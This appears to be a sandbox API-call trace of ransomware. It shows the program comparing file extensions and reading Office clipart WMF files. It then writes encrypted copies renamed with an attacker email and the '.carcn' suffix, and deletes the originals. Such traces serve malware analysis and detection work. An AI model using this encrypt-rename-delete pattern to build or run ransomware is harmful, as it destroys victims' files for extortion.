lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0271.044] lstrlenW (lpString=".ppt") returned 4 [0271.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.044] lstrlenW (lpString=".zip") returned 4 [0271.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.045] lstrlenW (lpString=".rar") returned 4 [0271.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.045] lstrlenW (lpString=".bz2") returned 4 [0271.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.045] lstrlenW (lpString=".7z") returned 3 [0271.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.045] lstrlenW (lpString=".dbf") returned 4 [0271.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.045] lstrlenW (lpString=".1cd") returned 4 [0271.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.045] lstrlenW (lpString=".jpg") returned 4 [0271.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.045] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.045] lstrlenW (lpString="CUP.WMF") returned 7 [0271.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0271.046] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2966) returned 1 [0271.046] CloseHandle (hObject=0x49c) returned 1 [0271.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0271.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0271.047] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.047] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0271.048] GetLastError () returned 0x0 [0271.048] ReadFile (in: hFile=0x49c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xb96, lpOverlapped=0x0) returned 1 [0271.050] WriteFile (in: hFile=0x530, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xba0, lpOverlapped=0x0) returned 1 [0271.051] ReadFile (in: hFile=0x49c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0271.051] WriteFile (in: hFile=0x530, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe2, lpOverlapped=0x0) returned 1 [0271.051] SetEndOfFile (hFile=0x530) returned 1 [0271.052] CloseHandle (hObject=0x530) returned 1 [0271.052] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.052] SetEndOfFile (hFile=0x49c) returned 1 [0271.055] CloseHandle (hObject=0x49c) returned 1 [0271.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0271.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.056] lstrlenW (lpString=".doc") returned 4 [0271.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.056] lstrlenW (lpString=".docx") returned 5 [0271.056] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0271.056] lstrlenW (lpString=".pdf") returned 4 [0271.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.056] lstrlenW (lpString=".xls") returned 4 [0271.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.056] lstrlenW (lpString=".xlsx") returned 5 [0271.056] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0271.057] lstrlenW (lpString=".ppt") returned 4 [0271.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.057] lstrlenW (lpString=".zip") returned 4 [0271.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.057] lstrlenW (lpString=".rar") returned 4 [0271.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.057] lstrlenW (lpString=".bz2") returned 4 [0271.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.057] lstrlenW (lpString=".7z") returned 3 [0271.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.057] lstrlenW (lpString=".dbf") returned 4 [0271.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.057] lstrlenW (lpString=".1cd") returned 4 [0271.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.057] lstrlenW (lpString=".jpg") returned 4 [0271.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.057] lstrlenW (lpString=".doc") returned 4 [0271.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.057] lstrlenW (lpString=".docx") returned 5 [0271.058] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0271.058] lstrlenW (lpString=".pdf") returned 4 [0271.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.058] lstrlenW (lpString=".xls") returned 4 [0271.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.058] lstrlenW (lpString=".xlsx") returned 5 [0271.058] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0271.058] lstrlenW (lpString=".ppt") returned 4 [0271.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.058] lstrlenW (lpString=".zip") returned 4 [0271.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.058] lstrlenW (lpString=".rar") returned 4 [0271.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.058] lstrlenW (lpString=".bz2") returned 4 [0271.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.058] lstrlenW (lpString=".7z") returned 3 [0271.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.058] lstrlenW (lpString=".dbf") returned 4 [0271.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.058] lstrlenW (lpString=".1cd") returned 4 [0271.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0271.058] lstrlenW (lpString=".jpg") returned 4 [0271.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.059] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.059] lstrlenW (lpString="CUPINST.WMF") returned 11 [0271.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0271.565] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10326) returned 1 [0271.565] CloseHandle (hObject=0x550) returned 1 [0271.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0271.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0272.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0273.014] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.014] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0273.015] GetLastError () returned 0x0 [0273.015] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x2856, lpOverlapped=0x0) returned 1 [0273.133] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2860, lpOverlapped=0x0) returned 1 [0273.134] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.135] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xea, lpOverlapped=0x0) returned 1 [0273.135] SetEndOfFile (hFile=0x524) returned 1 [0273.135] CloseHandle (hObject=0x524) returned 1 [0273.135] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.135] SetEndOfFile (hFile=0x548) returned 1 [0273.137] CloseHandle (hObject=0x548) returned 1 [0273.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0273.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.139] lstrlenW (lpString=".doc") returned 4 [0273.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString=".docx") returned 5 [0273.139] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0273.139] lstrlenW (lpString=".pdf") returned 4 [0273.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString=".xls") returned 4 [0273.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.139] lstrlenW (lpString=".xlsx") returned 5 [0273.139] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0273.139] lstrlenW (lpString=".ppt") returned 4 [0273.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.139] lstrlenW (lpString=".zip") returned 4 [0273.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.139] lstrlenW (lpString=".rar") returned 4 [0273.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString=".bz2") returned 4 [0273.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString=".7z") returned 3 [0273.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.139] lstrlenW (lpString=".dbf") returned 4 [0273.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.139] lstrlenW (lpString=".1cd") returned 4 [0273.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.139] lstrlenW (lpString=".jpg") returned 4 [0273.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.140] lstrlenW (lpString=".doc") returned 4 [0273.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.140] lstrlenW (lpString=".docx") returned 5 [0273.140] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0273.140] lstrlenW (lpString=".pdf") returned 4 [0273.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.140] lstrlenW (lpString=".xls") returned 4 [0273.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.140] lstrlenW (lpString=".xlsx") returned 5 [0273.140] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0273.140] lstrlenW (lpString=".ppt") returned 4 [0273.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.140] lstrlenW (lpString=".zip") returned 4 [0273.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.140] lstrlenW (lpString=".rar") returned 4 [0273.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.140] lstrlenW (lpString=".bz2") returned 4 [0273.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.140] lstrlenW (lpString=".7z") returned 3 [0273.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.140] lstrlenW (lpString=".dbf") returned 4 [0273.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.140] lstrlenW (lpString=".1cd") returned 4 [0273.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0273.141] lstrlenW (lpString=".jpg") returned 4 [0273.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.141] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.141] lstrlenW (lpString="DD00705_.WMF") returned 12 [0273.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0273.141] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=24588) returned 1 [0273.141] CloseHandle (hObject=0x548) returned 1 [0273.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0273.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0273.142] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.142] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0273.143] GetLastError () returned 0x0 [0273.143] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x600c, lpOverlapped=0x0) returned 1 [0273.236] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6010, lpOverlapped=0x0) returned 1 [0273.238] ReadFile (in: hFile=0x548, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.238] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.238] SetEndOfFile (hFile=0x524) returned 1 [0273.244] CloseHandle (hObject=0x524) returned 1 [0273.245] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.245] SetEndOfFile (hFile=0x548) returned 1 [0273.265] CloseHandle (hObject=0x548) returned 1 [0273.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0273.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.267] lstrlenW (lpString=".doc") returned 4 [0273.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.267] lstrlenW (lpString=".docx") returned 5 [0273.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.267] lstrlenW (lpString=".pdf") returned 4 [0273.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.267] lstrlenW (lpString=".xls") returned 4 [0273.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.267] lstrlenW (lpString=".xlsx") returned 5 [0273.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.267] lstrlenW (lpString=".ppt") returned 4 [0273.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.267] lstrlenW (lpString=".zip") returned 4 [0273.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.267] lstrlenW (lpString=".rar") returned 4 [0273.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.268] lstrlenW (lpString=".bz2") returned 4 [0273.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.268] lstrlenW (lpString=".7z") returned 3 [0273.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.268] lstrlenW (lpString=".dbf") returned 4 [0273.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.268] lstrlenW (lpString=".1cd") returned 4 [0273.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.268] lstrlenW (lpString=".jpg") returned 4 [0273.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.268] lstrlenW (lpString=".doc") returned 4 [0273.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.268] lstrlenW (lpString=".docx") returned 5 [0273.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.268] lstrlenW (lpString=".pdf") returned 4 [0273.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.268] lstrlenW (lpString=".xls") returned 4 [0273.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.268] lstrlenW (lpString=".xlsx") returned 5 [0273.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.269] lstrlenW (lpString=".ppt") returned 4 [0273.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0273.269] lstrlenW (lpString=".zip") returned 4 [0273.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.269] lstrlenW (lpString=".rar") returned 4 [0273.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 